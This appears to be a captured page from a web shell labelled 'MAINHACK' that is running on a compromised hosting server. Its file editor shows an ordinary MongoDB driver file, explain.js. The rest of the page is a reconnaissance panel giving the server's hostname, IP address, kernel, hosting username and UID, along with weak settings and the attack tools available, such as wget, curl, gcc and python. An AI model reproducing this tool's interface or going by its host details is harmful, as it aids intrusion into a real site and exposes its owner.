[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: explain.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.Explain = exports.ExplainVerbosity = void 0; exports.validateExplainTimeoutOptions = validateExplainTimeoutOptions; exports.decorateWithExplain = decorateWithExplain; const error_1 = require("./error"); /** @public */ exports.ExplainVerbosity = Object.freeze({ queryPlanner: 'queryPlanner', queryPlannerExtended: 'queryPlannerExtended', executionStats: 'executionStats', allPlansExecution: 'allPlansExecution' }); /** @internal */ class Explain { constructor(verbosity, maxTimeMS) { if (typeof verbosity === 'boolean') { this.verbosity = verbosity ? exports.ExplainVerbosity.allPlansExecution : exports.ExplainVerbosity.queryPlanner; } else { this.verbosity = verbosity; } this.maxTimeMS = maxTimeMS; } static fromOptions({ explain } = {}) { if (explain == null) return; if (typeof explain === 'boolean' || typeof explain === 'string') { return new Explain(explain); } const { verbosity, maxTimeMS } = explain; return new Explain(verbosity, maxTimeMS); } } exports.Explain = Explain; function validateExplainTimeoutOptions(options, explain) { const { maxTimeMS, timeoutMS } = options; if (timeoutMS != null && (maxTimeMS != null || explain?.maxTimeMS != null)) { throw new error_1.MongoAPIError('Cannot use maxTimeMS with timeoutMS for explain commands.'); } } /** * Applies an explain to a given command. * @internal * * @param command - the command on which to apply the explain * @param options - the options containing the explain verbosity */ function decorateWithExplain(command, explain) { const { verbosity, maxTimeMS } = explain; const baseCommand = { explain: command, verbosity }; if (typeof maxTimeMS === 'number') { baseCommand.maxTimeMS = maxTimeMS; } return baseCommand; } //# sourceMappingURL=explain.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344